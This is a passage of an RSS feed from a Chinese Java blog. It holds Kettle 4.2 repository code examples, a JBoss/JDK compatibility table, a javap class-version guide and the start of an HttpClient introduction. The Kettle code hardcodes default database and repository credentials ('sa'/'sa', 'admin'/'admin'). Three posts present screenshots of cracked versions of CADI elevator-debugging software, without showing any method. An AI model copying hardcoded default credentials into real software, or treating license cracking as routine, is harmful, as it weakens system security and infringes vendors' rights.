style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java调用kettle4.2数据库型资料库中的作业</title><link>http://www.blogjava.net/galaxyp/archive/2012/07/30/384314.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 30 Jul 2012 06:33:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/07/30/384314.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/384314.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/07/30/384314.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/384314.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/384314.html</trackback:ping><description><![CDATA[<div>import org.pentaho.di.core.KettleEnvironment;<br />import org.pentaho.di.core.database.DatabaseMeta;<br />import org.pentaho.di.job.JobMeta;<br />import org.pentaho.di.job.Job;<br />import org.pentaho.di.repository.Repository;<br />import org.pentaho.di.repository.RepositoryDirectoryInterface;<br />import org.pentaho.di.repository.kdr.KettleDatabaseRepository;<br />import org.pentaho.di.repository.kdr.KettleDatabaseRepositoryMeta;<br /><br />public class execRepositoryJobs {<br /><br />&nbsp;&nbsp; &nbsp;private static String jobName = "Job";<br /><br />&nbsp;&nbsp; &nbsp;public static void main(String[] args) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;try {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleEnvironment.init();<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleDatabaseRepository repository = new KettleDatabaseRepository();<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;DatabaseMeta databaseMeta = new DatabaseMeta("repository", "MSSQL","Native", "192.169.0.146", "repository", "1433", "sa","sa");<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleDatabaseRepositoryMeta kettleDatabaseMeta = new KettleDatabaseRepositoryMeta("repository", "ERP", "Transformation description",databaseMeta);<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;repository.init(kettleDatabaseMeta);<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;repository.connect("admin", "admin");<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;RepositoryDirectoryInterface directory = repository.loadRepositoryDirectoryTree();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;JobMeta jobMeta = ((Repository) repository).loadJob(jobName, directory, null, null ) ;<br /><br />//&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;RepositoryDirectoryInterface fooBar = directory.findDirectory("/");<br />//<br />//&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;JobMeta jobMeta = repository.loadJob(repository.getJobId(jobName, fooBar), null);<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;Job job = new Job(repository,jobMeta);<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;job.start();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;job.waitUntilFinished();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (job.getErrors() &gt; 0) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;throw new RuntimeException(<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"There were errors during transformation execution.");<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;} catch (Exception e) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;e.printStackTrace();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;}<br />}</div><img src ="http://www.blogjava.net/galaxyp/aggbug/384314.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-07-30 14:33 <a href="http://www.blogjava.net/galaxyp/archive/2012/07/30/384314.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java调用kettle4.2数据库型资料库中的转换</title><link>http://www.blogjava.net/galaxyp/archive/2012/07/25/383956.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 25 Jul 2012 08:00:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/07/25/383956.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/383956.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/07/25/383956.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/383956.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/383956.html</trackback:ping><description><![CDATA[<div>import org.pentaho.di.core.KettleEnvironment;<br />import org.pentaho.di.core.database.DatabaseMeta;<br />import org.pentaho.di.core.exception.KettleException;<br />import org.pentaho.di.repository.Repository;<br />import org.pentaho.di.repository.RepositoryDirectoryInterface;<br />import org.pentaho.di.repository.kdr.KettleDatabaseRepository;<br />import org.pentaho.di.repository.kdr.KettleDatabaseRepositoryMeta;<br />import org.pentaho.di.trans.Trans;<br />import org.pentaho.di.trans.TransMeta;<br /><br />/**<br />&nbsp;* &lt;p&gt;Title: java调用kettle4.2数据库型资料库中的转换&lt;/p&gt;<br />&nbsp;* &lt;p&gt;Description: &lt;/p&gt;<br />&nbsp;* &lt;p&gt;Copyright: Copyright () 2012&lt;/p&gt;<br />&nbsp;* @author 舵手<br />&nbsp;* @version <br />&nbsp;*/<br /><br />public class ExecRepositoryTrans {<br /><br />&nbsp;&nbsp; &nbsp;private static String transName = "Trans";<br /><br />&nbsp;&nbsp; &nbsp;public static void main(String[] args) {<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;try {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleEnvironment.init();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleDatabaseRepository repository = new KettleDatabaseRepository();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;DatabaseMeta databaseMeta = new DatabaseMeta("repository", "MSSQL","Native","192.169.0.146", "repository", "1433", "sa", "sa");<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;KettleDatabaseRepositoryMeta kettleDatabaseMeta = new KettleDatabaseRepositoryMeta("repository", "ERP", "Transformation description",databaseMeta );<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;repository.init(kettleDatabaseMeta);<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;repository.connect("admin","admin");<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;RepositoryDirectoryInterface directory = repository.loadRepositoryDirectoryTree();<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;TransMeta transformationMeta = ((Repository) repository).loadTransformation(transName, directory, null, true, null ) ;<br /><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;Trans trans = new Trans( transformationMeta );<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;//trans.setParameterValue( parameterName, parameterValue);<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;trans.execute(null);<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;trans.waitUntilFinished();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if ( trans.getErrors() &gt; 0 ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Error running transformation.");<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}else{<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;System.out.println("Transformation run successfully.");<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;} catch (KettleException e) {<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;e.printStackTrace();<br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp;}<br /><br />}</div><img src ="http://www.blogjava.net/galaxyp/aggbug/383956.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-07-25 16:00 <a href="http://www.blogjava.net/galaxyp/archive/2012/07/25/383956.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JBoss vs Java JDK Version Matrix</title><link>http://www.blogjava.net/galaxyp/archive/2012/06/08/380380.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 08 Jun 2012 15:26:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/06/08/380380.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/380380.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/06/08/380380.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/380380.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/380380.html</trackback:ping><description><![CDATA[<h3><span>JBoss vs Java JDK Version Matrix</span></h3>
<p style="padding-bottom: 0px; min-height: 8pt; padding-left: 0px; padding-right: 0px; height: 8pt; padding-top: 0px">&nbsp;</p>
<h4><span>Which version of the JDK is required for which versions of JBoss AS?</span></h4>
<p style="padding-bottom: 0px; min-height: 8pt; padding-left: 0px; padding-right: 0px; height: 8pt; padding-top: 0px">&nbsp;</p>
<table style="width: 546px; height: 96px">
<tbody>
<tr>
<th>
<p>JBoss version series</p></th>
<th style="text-align: center">
<p>3.2.x</p></th>
<th style="text-align: center">
<p>4.0.x</p></th>
<th style="text-align: center">
<p>4.2.x</p></th>
<th style="text-align: center">
<p>5.0.x</p></th>
<th style="text-align: center">
<p>6.0</p></th></tr>
<tr>
<td>
<p>compiles with JDK version</p></td>
<td style="text-align: right">
<p>1.3/1.4</p></td>
<td style="text-align: right">
<p>1.4/5.0</p></td>
<td style="text-align: right">
<p>5.0/6.0</p></td>
<td style="text-align: right">
<p>5.0/6.0</p></td>
<td style="text-align: right">6.0</td></tr>
<tr>
<td>
<p>runs under JDK version</p></td>
<td style="text-align: right">
<p>1.3/1.4/5.0</p></td>
<td style="text-align: right">
<p>1.4/5.0</p></td>
<td style="text-align: right">
<p>5.0/6.0</p></td>
<td style="text-align: right">5.0/6.0</td>
<td style="text-align: right">6.0</td></tr></tbody></table>
<p style="padding-bottom: 0px; min-height: 8pt; padding-left: 0px; padding-right: 0px; height: 8pt; padding-top: 0px">&nbsp;</p>
<p><strong>Notes:</strong></p>
<ul><li type="ul">
<p>JBoss AS 3.2.6+ and 4.0.1+ are the ONLY versions to be fully functional under JDK 5, due to JMX issues.&nbsp; See <a class="jive-link-wiki-small" href="https://community.jboss.org/docs/DOC-11934">RunJBossWithJ2SDK1.5Beta</a> for more details.</p></li><li type="ul">
<p>JBoss AS 3.2.6 doesn't run with JDK 1.3. This issue is fixed in the JBoss AS 3.2.7.</p></li><li type="ul">
<p>JBoss AS 4.0.0 runs under JDK 1.5, but the jconsole utility will not work with it. You need 4.0.1<em>, 3.2.7</em> to use jconsole.</p></li><li type="ul">
<p>Compliation using JDK 5 requires use of the -source 1.4 javac argument to avoid errors due to JDK 5 reserved words like enum.</p></li><li type="ul">
<p>JBoss AS 4.0.3+ and JBoss AS 5 source code has been fixed such that it no longer uses the enum reserved word in variable names.</p></li><li type="ul">
<p>The current group of 64 bit JVMs have some stability issues.&nbsp; Please do extensive testing on the 64 bit JVM before using it in Production. (PeterJ: I think this warning no longer applies.) </p></li><li type="ul">
<p><a class="jive-link-wiki-small" href="https://community.jboss.org/docs/DOC-9021">64 bit hardware</a> does provide some performance gains for 32 or 64 bit JVMs.</p></li><li type="ul">
<p>Be careful running the JDK1.3 on 64bit version of Linux.&nbsp; See <a class="jive-link-wiki-small" href="https://community.jboss.org/docs/DOC-11266">Linux64andJDK1.3</a> for details.</p></li><li type="ul">
<p>Since JBoss v4.0.3, compiling the server with JDKv1.4 and JDKv5 produces somewhat different outputs. A JDKv1.4 compilation produces the <em>classic</em> jboss distribution. A JDKv5 compilation includes JDK5 only features, like EJB3.</p></li><li type="ul">
<p>JBoss AS 4.2.x needs an out-of-tree patch to build with JDK 6, see <a class="jive-link-wiki-small" href="https://community.jboss.org/docs/DOC-10836">JBossWithJDK6</a> for details</p></li></ul><img src ="http://www.blogjava.net/galaxyp/aggbug/380380.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-06-08 23:26 <a href="http://www.blogjava.net/galaxyp/archive/2012/06/08/380380.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用javap查看编译版本</title><link>http://www.blogjava.net/galaxyp/archive/2012/05/29/379436.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Tue, 29 May 2012 06:34:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/05/29/379436.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/379436.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/05/29/379436.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/379436.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/379436.html</trackback:ping><description><![CDATA[<span style="font-family: Arial, Helvetica, simsun, u5b8bu4f53; line-height: 25px; text-align: left; background-color: #f5f5f5; ">我们可以用javap命令查看class文件的编译版本。</span><wbr style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; ">比如对Worke.class使用javap命令：javap -verbose Worker</div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; ">我将看到Worker的反编译结果。其中前几行如下：</div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><div>Compiled from "Worker.java"</div><div>public class com.teleca.robin.Worker extends java.lang.Thread</div><div>&nbsp;&nbsp;SourceFile: "Worker.java"</div><div>&nbsp;&nbsp;minor version: 0</div><div>&nbsp;&nbsp;major version: 49</div><div>&nbsp;&nbsp;Constant pool:</div></div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; ">上面的<span style="color: #993300; ">minor version: 0和</span><span style="color: #993300; ">major version: 49</span>就是编译Worke.class时使用的jdk编译版本号。</div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; ">但是它并不是我们所熟悉的jdk版本号（比如jdk1.5）。</div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; ">不过我们可以把<span style="line-height: 21px; font-family: verdana, sans-serif; ">从 JDK 1.1 到 JDK 1.7 编译器编译出的 class 的默认 minor.major version 汇总下就知道对应关系了。</span></div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><span style="line-height: 21px; font-family: verdana, sans-serif; "><table bordercolor="#000000" width="700" align="center" border="1" style="line-height: 25px; border-collapse: collapse; "><tbody><tr><td width="20%"><strong>JDK 编译器版本</strong></td><td width="30%"><strong>target 参数</strong></td><td width="25%"><strong>十六进制 minor.major</strong></td><td width="25%"><strong>十进制 minor.major</strong></td></tr><tr><td>jdk1.1.8</td><td>不能带 target 参数</td><td>00 03 00 2D</td><td>45.3</td></tr><tr><td>jdk1.2.2</td><td>不带(默认为 -target 1.1)</td><td>00 03 00 2D</td><td>45.3</td></tr><tr><td>jdk1.2.2</td><td>-target 1.2</td><td>00 00&nbsp;&nbsp; 00 2E</td><td>46.0</td></tr><tr><td>jdk1.3.1_19</td><td>不带(默认为 -target 1.1)</td><td>00 03 00 2D</td><td>45.3</td></tr><tr><td>jdk1.3.1_19</td><td>-target 1.3</td><td>00 00&nbsp;&nbsp; 00 2F</td><td>47.0</td></tr><tr><td>j2sdk1.4.2_10</td><td>不带(默认为 -target 1.2)</td><td>00 00&nbsp;&nbsp; 00 2E</td><td>46.0</td></tr><tr><td>j2sdk1.4.2_10</td><td>-target 1.4</td><td>00 00&nbsp;&nbsp; 00 30</td><td>48.0</td></tr><tr><td>jdk1.5.0_11</td><td>不带(默认为 -target 1.5)</td><td>00 00&nbsp;&nbsp; 00 31</td><td>49.0</td></tr><tr><td>jdk1.5.0_11</td><td>-target 1.4 -source 1.4</td><td>00 00&nbsp;&nbsp; 00 30</td><td>48.0</td></tr><tr><td>jdk1.6.0_01</td><td>不带(默认为 -target 1.6)</td><td>00 00&nbsp;&nbsp; 00 32</td><td>50.0</td></tr><tr><td>jdk1.6.0_01</td><td>-target 1.5</td><td>00 00&nbsp;&nbsp; 00 31</td><td>49.0</td></tr><tr><td>jdk1.6.0_01</td><td>-target 1.4 -source 1.4</td><td>00 00&nbsp;&nbsp; 00 30</td><td>48.0</td></tr><tr><td>jdk1.7.0</td><td>不带(默认为 -target 1.6)</td><td>00 00&nbsp;&nbsp; 00 32</td><td>50.0</td></tr><tr><td>jdk1.7.0</td><td>-target 1.7</td><td>00 00&nbsp;&nbsp; 00 33</td><td>51.0</td></tr><tr><td>jdk1.7.0</td><td>-target 1.4 -source 1.4</td><td>00 00&nbsp;&nbsp; 00 30</td><td>48.0</td></tr><tr><td>Apache Harmony 5.0M3</td><td>不带(默认为 -target 1.2)</td><td>00 00&nbsp;&nbsp; 00 2E</td><td>46.0</td></tr><tr><td>Apache Harmony 5.0M3</td><td>-target 1.4</td><td>00 00&nbsp;&nbsp; 00 30</td><td>48.0<br /></td></tr></tbody></table><strong style="line-height: 25px; ">注1：</strong>javac 有个 -target 参数，编译时可以通过</span><span style="line-height: 21px; font-family: verdana, sans-serif; "><span style="line-height: 22px; ">target</span></span><span style="line-height: 21px; font-family: verdana, sans-serif; ">参数来设置编译时所使用的jdk版本。比如如果目标 JVM 是 1.3 的话，编译选项就可以用 -target 1.3 -source 1.3 了。</span></div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><span style="line-height: 21px; font-family: verdana, sans-serif; ">相应的如果使用 ant ，<span style="font-family: Arial, Helvetica, sans-serif; "><span style="font-family: verdana, sans-serif; ">编译时可以通过</span><span style="font-family: verdana, sans-serif; "><span style="line-height: 22px; ">target</span></span><span style="font-family: verdana, sans-serif; ">参数来设置编译时所使用的jdk版本。比如：</span></span><br />&lt;javac target="1.4" source="1.4" ............................/&gt;</span></div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><span style="line-height: 21px; font-family: verdana, sans-serif; "><strong style="line-height: 25px; ">注2</strong>：javac中</span><span style="line-height: 21px; font-family: verdana, sans-serif; ">source和</span><span style="line-height: 21px; font-family: verdana, sans-serif; ">target 的意义</span></div><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><span style="line-height: 21px; font-family: verdana, sans-serif; ">-source &lt;版本&gt;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;提供与指定版本的源兼容性</span></div><span style="text-align: left; background-color: #f5f5f5; font-family: verdana, sans-serif; ">-target &lt;版本&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 生成特定 VM 版本的类文件</span><div style="line-height: 25px; font-family: Arial, Helvetica, simsun, u5b8bu4f53; text-align: left; background-color: #f5f5f5; "><span style="line-height: 21px; font-family: verdana, sans-serif; ">source才是真正的指明代码的兼容性，</span><span style="line-height: 21px; font-family: verdana, sans-serif; ">target则是指定了生成class的格式的版本号，即</span><span style="line-height: 21px; font-family: verdana, sans-serif; ">生成特定 VM 版本的类文件。</span></div><img src ="http://www.blogjava.net/galaxyp/aggbug/379436.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-05-29 14:34 <a href="http://www.blogjava.net/galaxyp/archive/2012/05/29/379436.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CADI TX 2.87 破解</title><link>http://www.blogjava.net/galaxyp/archive/2012/02/27/370838.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 27 Feb 2012 06:09:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/02/27/370838.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/370838.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/02/27/370838.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/370838.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/370838.html</trackback:ping><description><![CDATA[<img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/tx1.JPG" height="374" width="590" /><br /><img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/tx2.JPG" height="428" width="301" /><br /><img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/tx3.JPG" height="328" width="354" /><br /><img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/tx4.JPG" height="506" width="585" /><br />备忘，学习。<img src ="http://www.blogjava.net/galaxyp/aggbug/370838.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-02-27 14:09 <a href="http://www.blogjava.net/galaxyp/archive/2012/02/27/370838.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CADI GC 2.98 破解版</title><link>http://www.blogjava.net/galaxyp/archive/2012/01/18/368687.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 18 Jan 2012 01:56:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/01/18/368687.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/368687.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/01/18/368687.html#Feedback</comments><slash:comments>47</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/368687.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/368687.html</trackback:ping><description><![CDATA[&nbsp; 电梯调试软件，发上来备忘。<br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/CADI298_2.JPG" alt="" width="426" border="0" height="366" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/CADI298_1.JPG" alt="" width="860" border="0" height="580" /><img src ="http://www.blogjava.net/galaxyp/aggbug/368687.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-01-18 09:56 <a href="http://www.blogjava.net/galaxyp/archive/2012/01/18/368687.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CADI_GC 2.94 破解版</title><link>http://www.blogjava.net/galaxyp/archive/2012/01/13/368475.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Fri, 13 Jan 2012 15:28:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/01/13/368475.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/368475.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/01/13/368475.html#Feedback</comments><slash:comments>15</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/368475.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/368475.html</trackback:ping><description><![CDATA[<div>&nbsp;&nbsp;&nbsp; 一款java编写的电梯调试软件，没什么技术。贴上来备忘！<br /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/cd2.94_1.JPG" alt="" width="361" border="0" height="299" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/cd2.94_2.JPG" alt="" width="500" border="0" height="420" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/cd2.94_3.JPG" alt="" width="699" border="0" height="516" /></div><img src ="http://www.blogjava.net/galaxyp/aggbug/368475.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-01-13 23:28 <a href="http://www.blogjava.net/galaxyp/archive/2012/01/13/368475.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>HttpClient入门(zt)</title><link>http://www.blogjava.net/galaxyp/archive/2011/06/23/352862.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 23 Jun 2011 02:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2011/06/23/352862.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/352862.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2011/06/23/352862.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/352862.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/352862.html</trackback:ping><description><![CDATA[<div>HttpClient简介<br /><br />HTTP 协议可能是现在 Internet 上使用得最多、最重要的协议了，越来越多的 Java 应用程序需要直接通过 HTTP 协议来访问网络资源。虽然在 JDK 的 java.net 包中已经提供了访问 HTTP 协议的基本功能，但是对于大部分应用程序来说，JDK 库本身提供的功能还不够丰富和灵活。HttpClient 是 Apache Jakarta Common 下的子项目，用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包，并且它支持 HTTP 协议最新的版本和建议。HttpClient 已经应用在很多的项目中，比如 Apache Jakarta 